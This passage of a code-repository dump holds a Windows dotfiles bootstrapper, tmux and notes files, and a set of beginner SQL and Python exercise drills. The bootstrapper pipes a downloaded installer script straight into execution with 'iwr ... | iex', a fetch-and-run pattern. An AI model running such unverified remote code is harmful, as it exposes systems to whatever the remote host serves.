\"-c\", \"& {Get-ExecutionPolicy}\"], check=False\r\n )\r\n if not \"RemoteSigned\" in result.stdout.decode():\r\n raise Exception(\"could not set PowerShell Execution Policy\")\r\n\r\n # Install Scoop\r\n result = await self.cmd(\r\n [str(self.SHELL), \"-c\", \"& {iwr -useb https://get.scoop.sh | iex}\"]\r\n )\r\n stdout = result.stdout.decode().lower()\r\n if not (\r\n \"scoop was installed successfully!\" in stdout\r\n or \"scoop is already installed\" in stdout\r\n ):\r\n raise Exception(\"scoop was not installed\")\r\n\r\n self.UPDATED_ENVIRONMENT[\"PATH\"] = win_get_user_env(\"PATH\")\r\n self._SCOOP_INSTALLED = True\r\n\r\n installed_apps = (await self.scoop(\"list\")).stdout.decode()\r\n for requirement in [\"aria2\", \"git\", \"python\"]:\r\n if requirement in installed_apps:\r\n continue\r\n\r\n await self.scoop(f\"install {requirement}\")\r\n\r\n wanted_buckets = [\"extras\"]\r\n added_buckets = (await self.scoop(\"bucket list\")).stdout.decode()\r\n for bucket in wanted_buckets:\r\n if bucket in added_buckets:\r\n continue\r\n\r\n await self.scoop(f\"bucket add {bucket}\")\r\n\r\n async def main(self) -> None:\r\n # Install rest of dependencies\r\n if MACOS or UNIX:\r\n raise NotImplementedError(\"only Windows supported currently\")\r\n\r\n if WINDOWS:\r\n # implicitly installs git as well\r\n await self.install_scoop()\r\n\r\n for dependency_check in ([\"git\", \"--version\"], [\"python\", \"--version\"]):\r\n try:\r\n await self.cmd(dependency_check, check=True)\r\n except CalledProcessError as err:\r\n raise Exception(\r\n f\"dependency '{dependency_check!r}' was not found\"\r\n ) from err\r\n\r\n ## Clone dotfiles repository\r\n self.REPOSITORY_DIR.mkdir(parents=True, exist_ok=True)\r\n\r\n # Check if there's an existing repository, and if that repository is clean\r\n # NOTE::FUTURE dulwich does not support submodules\r\n # https://github.com/dulwich/dulwich/issues/506\r\n repo_status = await self.cmd([\"git\", \"-C\", str(self.REPOSITORY_DIR), \"status\", \"--porcelain\"], check=False)\r\n if \"not a git repository\" in repo_status.stdout.decode().lower():\r\n await self.cmd(\r\n [\r\n \"git\",\r\n \"clone\",\r\n \"--recurse-submodules\",\r\n self.REPO_URL,\r\n str(self.REPOSITORY_DIR),\r\n ]\r\n )\r\n\r\n # Three scenarios:\r\n # - Repo exists and is completely clean and up to date\r\n # - Repo exists and there are uncommitted changes\r\n # - Repo exists and there are un-pushed changes\r\n #\r\n # The last one can be helped with dulwich if issue 506 is resolved, or\r\n # complex git commands, like:\r\n # https://stackoverflow.com/a/6133968\r\n #\r\n # For now I'm saying \"deal with it manually\"\r\n\r\n # - Repo exists and there are changes\r\n\r\n # NOTE: optimistically try to pull in new upstream changes; could fail in numerous ways\r\n await self.cmd([\"git\", \"-C\", str(self.REPOSITORY_DIR), \"pull\", \"--ff-only\"])\r\n\r\n # Run dotdrop\r\n raise NotImplementedError(\"setup dotfiles\")\r\n\r\n\r\nif __name__ == \"__main__\":\r\n with TemporaryDirectory() as temp_dir:\r\n temp_dir_path = Path(temp_dir).resolve(strict=True)\r\n bootstrapper = Bootstrapper(temp_dir_path)\r\n bootstrapper.main()\r\n # import trio # isort:skip\r\n\r\n # installer = Installer(\r\n # temp_dir=bootstrapper.TEMP_DIR,\r\n # repository_dir=bootstrapper.REPOSITORY_DIR,\r\n # shell=bootstrapper.SHELL,\r\n # venv_dir=bootstrapper.VENV_DIR,\r\n # cache_dir=bootstrapper.CACHE_DIR,\r\n # python_executable=bootstrapper.PYTHON_EXECUTABLE,\r\n # updated_environment=bootstrapper.UPDATED_ENVIRONMENT,\r\n # )\r\n # trio.run(installer.main)\r\n" }, { "alpha_fraction": 0.6197183132171631, "alphanum_fraction": 0.6197183132171631, "avg_line_length": 34.5, "blob_id": "b8d81207f245d3f4d09d7f9e2d0d33133d1a2d09", "content_id": "1e75792655f99b54cc3693d3f824de995e067215", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 71, "license_type": "permissive", "max_line_length": 58, "num_lines": 2, "path": "/dotfiles/tmux/C-].sh", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\ntmux set-buffer -b systemclip <<< echo \"$(xclip -se c -o)\"\n" }, { "alpha_fraction": 0.7157894968986511, "alphanum_fraction": 0.7157894968986511, "avg_line_length": 29.66666603088379, "blob_id": "f9264883bc9fac1ea37d3bdfab38a9773862575a", "content_id": "d14cbbb7a38a3f76d7221566664f8f29de3f9c07", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 95, "license_type": "permissive", "max_line_length": 66, "num_lines": 3, "path": "/INSTALL_debian.md", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "# Debian pre-requisites\r\n\r\nNone! [Continue with the rest of the setup.](~/README.md#continue)\r\n" }, { "alpha_fraction": 0.7295313477516174, "alphanum_fraction": 0.7447769641876221, "avg_line_length": 38.25, "blob_id": "49f2ba31018036068db059be543efbe4b65f0084", "content_id": "629df70b587427b3953b36ae3e68068753dd465c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1771, "license_type": "permissive", "max_line_length": 261, "num_lines": 44, "path": "/notes.md", "repo_name": "mawillcockson/dotfiles", "src_encoding": "UTF-8", "text": "# notes\r\n\r\n## Arch/Manjaro\r\n\r\n`ln -s /usr/lib/libffi-3.2.1/include/ffi*.h /usr/include`\r\n\r\n## Weird errors\r\n\r\nConsistently reproducible `Fatal Python error: _Py_HashRandomization_Init: failed to get random numbers to initialize Python` when using `pip` to install `dulwich`.\r\n\r\n[This StackOverflow answer](https://stackoverflow.com/a/64706392) and [this GitHub comment](https://github.com/appveyor/ci/issues/1995#issuecomment-546325062) both helped understand that I forgot to update the environment instead of overwriting it, in one spot.\r\n\r\n## Custom fonts can be installed using\r\n\r\n<https://github.com/MicksITBlogs/PowerShell/blob/master/InstallFonts.ps1>\r\n\r\n## Windows GPG setup is missing some steps\r\n\r\nDefinitely need to formalize the startup process that includes a:\r\n\r\n```powershell\r\ndel -Recurse -Force \"$(gpgconf --list-dirs agent-ssh-socket)\" -ErrorAction Continue\r\n```\r\n\r\n[docs on how to continue and stop on errors may be helpful](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_commonparameters?view=powershell-7.1)\r\n\r\nAlso, sometimes if `gpg-agent` and `wsl-ssh-pageant` appear to be running, but with the card inserted, a `git commit -S` produces:\r\n\r\n```\r\ngpg: signing failed: Not confirmed\r\ngpg: signing failed: Not confirmed\r\nerror: gpg failed to sign the data\r\nfatal: failed to write commit object\r\n```\r\n\r\nAnd the pinentry gui keeps popping up asking for the card to be inserted, and `gpg --card-status` shows:\r\n\r\n```\r\ngpg: OpenPGP card not available: General error\r\n```\r\n\r\nI've found `gpgconf --reload` usually does the trick to restart `scdaemon`, and the others. Then `gpg --card-status` shows it's inserted.\r\n\r\nThis usually happens if I load everything, then try to use the card, all before it's inserted.\r\n" } ]
7
rojinaAmatya/Voice-Recognition-App
https://github.com/rojinaAmatya/Voice-Recognition-App
9ae8c6e66fca94399e81bb6575e650ac2194ac57
72cf1d1eefd82780809c9dd0d2671647e8bfc589
021071ebe1265553dff7f5b9e19e8f585bb7c23e
refs/heads/main
2023-02-24T23:27:03.159944
2021-01-27T20:25:14
2021-01-27T20:25:14
322,089,599
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6901172399520874, "alphanum_fraction": 0.6901172399520874, "avg_line_length": 18.700000762939453, "blob_id": "780256624cb1e9fe7b7021fb2a12e71bf889aaa9", "content_id": "7c36abb0ce5521886e2bf929a6be4a775523d89f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 597, "license_type": "no_license", "max_line_length": 103, "num_lines": 30, "path": "/README.md", "repo_name": "rojinaAmatya/Voice-Recognition-App", "src_encoding": "UTF-8", "text": "# Voice-Recognition-App\n\nPython-based Voice recognition(Assistant) that uses speech recognition and text-to-speech to interact. \n\n## Dependencies\n\n```\n install py -venv \n pip install speechrecognition\n pip install pyaudio (If this doesn't work)\n - pip install pipwin\n - pip install pyaudio\n pip install gTTs\n pip install playsound\n\n```\n\n## Voice Commands\n\n - Greet user\n - Say her name\n - Ask for your name\n - Tells the time\n - Search Google\n - Finds Location\n - Search Youtube\n - Shares the latest new \n - Tells the stock price\n - Tells the weather \n - Tells Joke\n \n\n\n\n" }, { "alpha_fraction": 0.6122449040412903, "alphanum_fraction": 0.6188637614250183, "avg_line_length": 29.74576187133789, "blob_id": "507f79b81c44a75d597ad748ae4de1b4d3f7aaff", "content_id": "fa71cb57da43d7d390053ae0800d487f76af86a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1813, "license_type": "no_license", "max_line_length": 85, "num_lines": 59, "path": "/main.py", "repo_name": "rojinaAmatya/Voice-Recognition-App", "src_encoding": "UTF-8", "text": "import speech_recognition as sr\nfrom time import ctime\nimport webbrowser\nimport time\nimport playsound\nimport os\nimport random \nfrom gtts import gTTS \n\nr = sr.Recognizer()\n\ndef recordAudio(ask = False):\n with sr.Microphone() as source:\n if ask:\n bot_speak(ask)\n audio = r.listen(source)\n voice_data = ''\n try:\n voice_data = r.recognize_google(audio)\n except sr.UnKnownValueError:\n bot_speak('Sorry, I did not understand')\n except sr.RequestError:\n bot_speak('Sorry, my speech service is down') \n return voice_data\n\ndef bot_speak(audio_string):\n tts = gTTS(text = audio_string, lang ='en')\n r = random.randint(1,10000000)\n audio_file = 'audio-' + str(r) + '.mp3'\n tts.save(audio_file)\n playsound.playsound(audio_file)\n print(audio_string)\n os.remove(audio_file)\n \n \ndef respond(voice_data):\n if 'what is your name' in voice_data:\n bot_speak(\"My name is Bot\")\n if 'what time is it' in voice_data:\n bot_speak(ctime())\n if 'search' in voice_data:\n search = recordAudio('What would you like me to search?')\n url = 'https://www.google.com/search?q=' + search\n webbrowser.get().open(url)\n bot_speak('Here are the results that I have found for ' + search)\n if 'find location' in voice_data:\n location = recordAudio('What location would you like me to find?')\n url = 'https://www.google.ml/maps/place/' + location + '/&amp;'\n webbrowser.get().open(url)\n bot_speak('Here are the location results that I have found for ' + location) \n if 'exit' in voice_data:\n bot_speak(\"buh-bye\")\n exit()\n \ntime.sleep(1) \nbot_speak('How can I help you?')\nwhile 1:\n voice_data = recordAudio()\n respond(voice_data)" } ]
2
jnikkiyoke/Tech-Academy-Drills
https://github.com/jnikkiyoke/Tech-Academy-Drills
0fcc6e761b67d696d56a724b7f04f1d2a9a041a4
1e31ee16978bf800f753aef68f0aea32f03a382f
e3446fa9065d77f6491e98ad2326b0fbf288a1d8
refs/heads/master
2021-01-19T01:46:49.058815
2017-03-27T00:22:34
2017-03-27T00:22:34
73,320,406
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.78125, "alphanum_fraction": 0.78125, "avg_line_length": 50.66666793823242, "blob_id": "a45a9d00fa4b890740c2fe30d4a44b914d57eb8f", "content_id": "9061c8799f9c5b4ab020ac98895cee2d44ca4f51", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 160, "license_type": "no_license", "max_line_length": 86, "num_lines": 3, "path": "/database/sql-lib-drill/Drill_Q3.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT Name, BOOK_LOANS.CardNo,BookID FROM dbo.BORROWER FULL OUTER JOIN dbo.BOOK_LOANS\r\nON dbo.BORROWER.CardNo = dbo.BOOK_LOANS.CardNo\r\nWHERE BookID IS NULL\r\n\r\n" }, { "alpha_fraction": 0.782608687877655, "alphanum_fraction": 0.7862318754196167, "avg_line_length": 53.20000076293945, "blob_id": "631f811ec3f57d8049ef4add2b52a76e33a987c3", "content_id": "34227580ec3c9c7f2cf8324062ee986a5b683e98", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 276, "license_type": "no_license", "max_line_length": 74, "num_lines": 5, "path": "/database/sql-lib-drill/Drill_Q5.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT BOOK_LOANS.BranchID, BranchName, BookID, COUNT(BOOK_LOANS.BranchID)\r\nFROM dbo.LIBRARY_BRANCH INNER JOIN dbo.BOOK_LOANS\r\nON dbo.LIBRARY_BRANCH.BranchID = dbo.BOOK_LOANS.BranchID\r\nGROUP BY BOOK_LOANS.BranchID, BranchName, BookID\r\nHAVING (COUNT(BOOK_LOANS.BranchID) > 1)\r\n" }, { "alpha_fraction": 0.7457627058029175, "alphanum_fraction": 0.7570621371269226, "avg_line_length": 57, "blob_id": "a0f88545f928d63c55c4a1d3af397d860808e85c", "content_id": "9b0174d68ff6ecc4a8482cbc3f29fe16d3cf5835", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 177, "license_type": "no_license", "max_line_length": 90, "num_lines": 3, "path": "/database/sql-lib-drill/Drill_Q7.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT Book.BookID, Title, BranchID, No_of_Copies FROM dbo.BOOK INNER JOIN dbo.BOOK_COPIES\r\nON dbo.BOOK.BookID = dbo.BOOK_COPIES.BookID\r\nWHERE Book.BookID = 6 AND BranchID = 1\r\n" }, { "alpha_fraction": 0.5361678600311279, "alphanum_fraction": 0.5422418713569641, "avg_line_length": 39.55813980102539, "blob_id": "65aa10ee3c4663585968ea9a6351af7b2617ff03", "content_id": "a58e2b8a17b33ef63503e708946b91ae2c488d64", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1811, "license_type": "no_license", "max_line_length": 137, "num_lines": 43, "path": "/python/drill 3; refactored.py", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "# Python 2.7.1\r\n#\r\n# Author: Nikki Yoke\r\n#\r\n# Edited by: Dylan D. (modified code and created function) \r\n#\r\n# Purpose: The Tech Academy, Drill 3\r\n# Create a program that finds the current\r\n# time in multiple timezones to determine if\r\n# a branch of a store is currently open.\r\n\r\n#\r\n#\r\n#\r\n#\r\n\r\nfrom datetime import datetime, time\r\nimport pytz #import Python timezones module\r\nfrom pytz import timezone\r\n\r\n#just finds times, for reference\r\nlocalFormat = \"%m/%d/%Y %H:%M\" #format the way the time/date will be displayed\r\n\r\nutcmoment_unaware = datetime.utcnow() #use current time, then replace w/ other variable\r\nutcmoment = utcmoment_unaware.replace(tzinfo=pytz.utc) #use local time to find other timezone's current time\r\n\r\ntimezones = ['America/Los_Angeles', 'America/New_York', 'Europe/London']\r\nfor tz in timezones:\r\n localDatetime = utcmoment.astimezone(pytz.timezone(tz))\r\n print localDatetime.strftime(localFormat)\r\n#########################################################################################################################################\r\n\r\ndef checkOpenClose(branchName, tz):\r\n branchTZ = timezone(tz)\r\n now = datetime.now(branchTZ)\r\n branchTime = now.time()\r\n if branchTime >=time(9,00) and branchTime <=time(21,00): #looks at time, prints local time and if open/closed\r\n print branchTime.strftime(branchName + ': %H:%M, Open')\r\n else:\r\n print branchTime.strftime(branchName + ': %H:%M, Closed')\r\n\r\ncheckOpenClose(\"London\", \"Europe/London\")\r\ncheckOpenClose(\"New York\", \"America/New_York\")\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 64, "blob_id": "ab1a4f5ddb377d05ba5618341182cb1ed3ac9339", "content_id": "203e121a47c5af159ff755d472fe91299256b3e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 65, "license_type": "no_license", "max_line_length": 64, "num_lines": 1, "path": "/HTML/ReadMe.md", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "This is a sample of the drills I did during the HTML/CSS course.\n" }, { "alpha_fraction": 0.5628997683525085, "alphanum_fraction": 0.5724946856498718, "avg_line_length": 25.47058868408203, "blob_id": "e915e9b1c5147d84eea00028a3bfed96c034c39c", "content_id": "5489045e98efa426085f4635626341ca71ad878f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 938, "license_type": "no_license", "max_line_length": 81, "num_lines": 34, "path": "/python/drill 5; file transfer script 24hr.py", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "# Python 2.7.12\r\n#\r\n# Author: Nikki Yoke\r\n#\r\n# Purpose: The Tech Academy, Drill 5: write a script that\r\n# will transfer files modified within the last\r\n# 24hrs to a specified destination directory.\r\n\r\n\r\n\r\nimport os,time\r\nimport datetime\r\nimport shutil\r\n\r\nimport datetime as dt\r\n\r\nnow = dt.datetime.now()\r\nago = now-dt.timedelta(hours=24)\r\nstrftime = \"%H:%M %m/%d/%Y\"\r\ncreated = 'C:\\Users\\Jacqueline\\Desktop\\created'\r\ndest = 'C:\\Users\\Jacqueline\\Desktop\\dest'\r\n\r\ndef file_trans():\r\n for root, dirs,files in os.walk(created): \r\n for fname in files:\r\n path = os.path.join(root, fname)\r\n st = os.stat(path) \r\n mtime = dt.datetime.fromtimestamp(st.st_mtime)\r\n if mtime > ago:\r\n print(\"True: \", fname, \" at \", mtime.strftime(\"%H:%M %m/%d/%Y\"))\r\n shutil.move(path, dest)\r\n # this is actual move\r\n\r\nprint file_trans()\r\n\r\n\r\n" }, { "alpha_fraction": 0.767123281955719, "alphanum_fraction": 0.767123281955719, "avg_line_length": 52.75, "blob_id": "5f0a8b562be38744f16fea7012bcfebad2b27ff4", "content_id": "f584eb4531e79d6d7052c96f6c92401e329e7621", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 219, "license_type": "no_license", "max_line_length": 80, "num_lines": 4, "path": "/database/sql-lib-drill/Drill_Q4.1.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT Title, DueDate, Name, Address FROM dbo.BOOK_LOANS INNER JOIN dbo.BORROWER\r\nON dbo.BOOK_LOANS.CardNo = dbo.BORROWER.CardNo\r\nINNER JOIN dbo.BOOK ON dbo.BOOK_LOANS.BookID = dbo.BOOK.BookID\r\nWHERE DueDate = 'Today'\r\n" }, { "alpha_fraction": 0.7226277589797974, "alphanum_fraction": 0.7372262477874756, "avg_line_length": 32.25, "blob_id": "07621e8f4d3921bfce3631d9bbff0bee68f02e33", "content_id": "0887680ee42a5c10bd9992b5b3eca423bba3bcd2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 137, "license_type": "no_license", "max_line_length": 43, "num_lines": 4, "path": "/database/sql-lib-drill/Drill_Q1.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT *\r\nFROM dbo.BOOK INNER JOIN dbo.BOOK_COPIES\r\nON dbo.BOOK.BookID = dbo.BOOK_COPIES.BookID\r\nWHERE BOOK.BookID = 3 AND BranchID = 2\r\n" }, { "alpha_fraction": 0.7969924807548523, "alphanum_fraction": 0.7969924807548523, "avg_line_length": 42.33333206176758, "blob_id": "5cd29a51046a74d39b625664215a06f560116239", "content_id": "e553272a239dd23b8cfa6efef90fc50af0dd4b0f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 133, "license_type": "no_license", "max_line_length": 46, "num_lines": 3, "path": "/database/sql-lib-drill/Drill_Q2.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT dbo.Borrower.CardNo,Name,BookID\r\nFROM dbo.BORROWER INNER JOIN dbo.BOOK_LOANS\r\nON dbo.BORROWER.CardNo = dbo.BOOK_LOANS.CardNo\r\n" }, { "alpha_fraction": 0.7415730357170105, "alphanum_fraction": 0.7471910119056702, "avg_line_length": 33.599998474121094, "blob_id": "8ca0ae39e8c1838b2c60dca66006b23c913e956c", "content_id": "28bada035752179877c781b4b1a1da43a63c0445", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "SQL", "length_bytes": 178, "license_type": "no_license", "max_line_length": 46, "num_lines": 5, "path": "/database/sql-lib-drill/Drill_Q6.sql", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "SELECT Name, Address, COUNT(Name)\r\nFROM dbo.BORROWER INNER JOIN dbo.BOOK_LOANS\r\nON dbo.BORROWER.CardNo = dbo.BOOK_LOANS.CardNo\r\nGROUP BY Name, Address\r\nHAVING (COUNT(Name) > 5)\r\n" }, { "alpha_fraction": 0.4354855418205261, "alphanum_fraction": 0.44862833619117737, "avg_line_length": 42.07834243774414, "blob_id": "66389a2dacdc749de161972232865a2b534f9bc3", "content_id": "813b9f039dcf83813e04243545c06e057a5b1399", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9587, "license_type": "no_license", "max_line_length": 151, "num_lines": 217, "path": "/python/drill 7 edit update; edit script & ui.py", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "# Python 3.5.2\r\n#\r\n# Author: Nikki Yoke\r\n# Edited: Daniel\r\n#\r\n# Purpose: The Tech Academy, Drill #6: Create a UI to increase\r\n# functionality of script written in Drill #5 that:\r\n# 1. allows user to browse and choose specific folder to contain\r\n# files to be checked daily\r\n# 2. allows user to browse and choose specific folder to receive\r\n# copied files\r\n# 3. allows user to manually initiate \"file check\" process\r\n# performed by the script\r\n\r\n\r\n##################################################################################\r\n# EDITS MADE BY DANIEL IN ORDER OF OCCURANCE: #\r\n#--------------------------------------------------------------------------------#\r\n# 1. got rid of global variables. global variables = evil # \r\n# 2. got rid of open_dir function; tried to do too much at once; replaced #\r\n# with get_src and get_dst functions to split process into two functions #\r\n# 3. inserted my transfer script into this program instead of calling it from #\r\n# another file #\r\n# 4. defined get_src and get_dst as StringVar() (done separately because they #\r\n# are two separate entry widgets #\r\n# 5. streamlined sqlite table to make life easier #\r\n# 6. inserted my create sqlite table into this program & added in functions #\r\n# to allow \"file check\" date display in UI #\r\n# 7. added in \"main\" at the end #\r\n#--------------------------------------------------------------------------------#\r\n# Daniel suggests I keep all my code in one file until I completely understand #\r\n# how to set up my code within classes for exterior module usage. #\r\n# #\r\n# Note to self: work on this!! #\r\n##################################################################################\r\n\r\n\r\n\r\n\r\n\r\n\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nimport os\r\nimport shutil \r\nimport datetime as dt\r\nfrom tkinter import filedialog\r\nimport time\r\n\r\nimport sqlite3 #SQL\r\nconn = sqlite3.connect('file_check.db') #SQL\r\nc = conn.cursor()\r\n\r\nroot = Tk()\r\nroot.title = (\"File Transfer\")\r\nroot.geometry('500x120+250+100')\r\n\r\n################################################################################\r\n# Function for selecting directories and initiating script #\r\n################################################################################\r\n\r\n#GOT RID OF GLOBAL VARIABLES AND OPEN_DIR FUNCTION; TOO MUCH AT ONCE\r\n\r\n#makes browse buttons function(allow selection of directory, print its path)\r\ndef get_src():\r\n #Get selected path & fill entry field\r\n srcPath = filedialog.askdirectory() #.askdirectory allows input of loc.\r\n var_src.set(srcPath)\r\n\r\ndef get_dst():\r\n #Get selected path & fill entry field\r\n dstPath = filedialog.askdirectory()\r\n var_dst.set(dstPath)\r\n\r\n\r\ndef file_trans():\r\n now = dt.datetime.now()\r\n ago = now-dt.timedelta(hours=24)\r\n #grabs user's indicated file dir.\r\n srcPath = var_src.get()\r\n dstPath = var_dst.get()\r\n for _file in os.listdir(srcPath): \r\n if _file.endswith('.txt'):\r\n src = os.path.join(srcPath, _file)\r\n dst = os.path.join(dstPath, _file)\r\n st = os.stat(src)\r\n mtime = dt.datetime.fromtimestamp(st.st_mtime)\r\n if mtime > ago:\r\n print(\"( {} ) moved to: {}\".format(_file,dstPath))#just for shell\r\n shutil.move(src, dstPath)\r\n ###commit transfer to sqlite table###\r\n \"\"\"**************************************************************\"\"\"\r\n## unix = time.time() #redefine to avoid 'undefined' error #UPDATE statement commented out;\r\n## conn.execute(\"UPDATE FileCheck SET(unix = (?)\",(unix,)) #do I need an INSERT here instead?\r\n \"\"\"**************************************************************\"\"\"\r\n## conn.commit()\r\n## conn.close()\r\n\r\n################################################################################\r\n# Create sqlite table & #\r\n# define functions for actual file check #\r\n################################################################################\r\n\r\ndef create_table():\r\n conn = sqlite3.connect(\"file_check.db\") #defines connection\r\n with conn: #what to do with conn\r\n c = conn.cursor()\r\n unix = time.time()\r\n datestamp = str(dt.datetime.fromtimestamp(unix).strftime('%d/%m/%Y'))\r\n c.execute(\"CREATE TABLE IF NOT EXISTS FileCheck(unix REAL, datestamp TEXT)\")\r\n\r\n conn.commit() #commits\r\n conn.close()\r\n first_run() #first_run() function is called here\r\n \r\n\"\"\"*********************All new, per Daniel's suggestion*********************\"\"\"\r\n\r\ndef first_run():\r\n conn = sqlite3.connect(\"file_check.db\") #defines connection\r\n with conn: #what to do with conn\r\n c = conn.cursor()\r\n c, count = count_records(c) #counts records in table\r\n unix = time.time()\r\n datestamp = str(dt.datetime.fromtimestamp(unix).strftime('%d/%m/%Y'))\r\n if count < 1: #if 1+ records: check\r\n #--when, then insert new\r\n c.execute(\"\"\"INSERT INTO FileCheck (unix, datestamp) VALUES (?,?)\"\"\", #INSERT statement called here; needed earlier?\r\n (unix,datestamp,)) #comma needed for tuple\r\n conn.commit()\r\n conn.close()\r\n show_date()\r\n\r\ndef show_date():\r\n conn = sqlite3.connect(\"file_check.db\") #defines connection\r\n with conn: #what to do with conn\r\n c = conn.cursor()\r\n c.execute(\"\"\"SELECT unix FROM FileCheck\"\"\")\r\n data = c.fetchone()[0] #fetch data index 0\r\n lastDate = float(data) #defines as float\r\n readDate = dt.datetime.fromtimestamp(lastDate).strftime(\"%m/%d/%Y\")\r\n var_date.set(readDate) #sets var format (above)\r\n conn.commit()\r\n conn.close()\r\n\r\ndef count_records(c):\r\n count = \"\"\r\n c.execute(\"\"\"SELECT COUNT(*) FROM FileCheck\"\"\") #queries number of rows\r\n count = c.fetchone()[0] #fetch data index 0\r\n return c, count\r\n \r\n\"\"\"**************************************************************************\"\"\"\r\n\r\n\r\n \r\n################################################################################\r\n# GUI coolness #\r\n################################################################################\r\n\r\nmf = Frame(root)\r\nmf.pack()\r\n\r\nf1 = Frame(mf, width = 600, height = 250)\r\nf1.pack(fill = X)\r\nf2 = Frame(mf, width = 600, height = 250)\r\nf2.pack()\r\nf3 = Frame(mf, width = 600, height = 250)\r\nf3.pack()\r\n\r\n#define for each entry widget\r\nvar_src = StringVar()\r\nvar_dst = StringVar()\r\n\"\"\"***************\"\"\"\r\nvar_date = StringVar()\r\n\"\"\"***************\"\"\"\r\n\r\n#select origin folder\r\nttk.Label(f1, text = \"Select Folder: \").grid(row = 0, column = 0, sticky = 'w')\r\ntxt_src = Entry(f1, width = 40, textvariable = var_src)\r\ntxt_src.grid(row =0, column =1, padx =2, pady =2, sticky ='we', columnspan = 20)\r\n#browse button\r\n\r\n#Add correct function for button callback.\r\nButton1 = ttk.Button(f1, text = \"Browse\", command = get_src)\r\nButton1.grid(row = 0, column = 22, sticky = 'e', padx = 8, pady = 4)\r\n\r\n#select destination folder\r\n\r\n#Add correct function for button callback.\r\nttk.Label(f2, text = \"Select Folder: \").grid(row = 1, column = 0, sticky = 'w')\r\ntxt_dst = Entry(f2, width = 40, textvariable = var_dst)\r\ntxt_dst.grid(row =1, column =1, padx =2, pady =2, sticky ='we', columnspan = 20)\r\n#browse button\r\nButton2 = ttk.Button(f2, text = \"Browse\", command = get_dst)\r\nButton2.grid(row = 1, column = 22, sticky = 'e', padx = 8, pady = 4)\r\n\r\n#execute file transfer button\r\nButton3 = ttk.Button(f3, text= \"Transfer Files\", width =14, command= file_trans)\r\nButton3.grid(row = 2, column = 22, sticky = 'e', padx = 10, pady = 10)\r\n\r\n\"\"\"********************************************************************\"\"\"\r\n#label for date check\r\nlbl_dt = ttk.Label(f3, text = \"Last check:\")\r\nlbl_dt.grid(row = 2, column = 0, sticky = \"w\", padx = 8, pady = 4)\r\n\r\n#actual date check format\r\nlbl_date = ttk.Label(f3, textvariable = var_date)\r\nlbl_date.grid(row = 2, column = 1, sticky = \"w\", padx = 8, pady = 4)\r\n\r\ncreate_table()\r\n\"\"\"********************************************************************\"\"\"\r\n\r\n\r\nif __name__ == \"__main__\":\r\n dir_path = Label(root)\r\n dir_path.pack()\r\n first_run()\r\n root.mainloop()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n" }, { "alpha_fraction": 0.5471055507659912, "alphanum_fraction": 0.5516458749771118, "avg_line_length": 27.100000381469727, "blob_id": "3e70e683fc0ae14f50b557829107f9fc633c5bf6", "content_id": "7577d616b43bcb9ba7b6dcc387724e285190647f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 881, "license_type": "no_license", "max_line_length": 80, "num_lines": 30, "path": "/python/drill 4; transferring files.py", "repo_name": "jnikkiyoke/Tech-Academy-Drills", "src_encoding": "UTF-8", "text": "# Python 2.7.1\r\n#\r\n# Author: Nikki Yoke\r\n#\r\n# Purpose: The Tech Academy, Drill 4:\r\n# Create a script that will transfer files\r\n# from one directory to another\r\n\r\n\r\n\r\nimport os, shutil\r\n\r\n\r\n\r\n\r\nFolderA = ('C:\\Users\\Jacqueline\\Desktop\\A') #define paths as variables\r\nFolderB = ('C:\\Users\\Jacqueline\\Desktop\\B')\r\nprint os.listdir(FolderA) #print txt files in A\r\n\r\n\r\n\r\n\r\nfor filename in os.listdir(FolderA): #if file in A has txt\r\n if filename.endswith('.txt'): # extension, moves to B\r\n 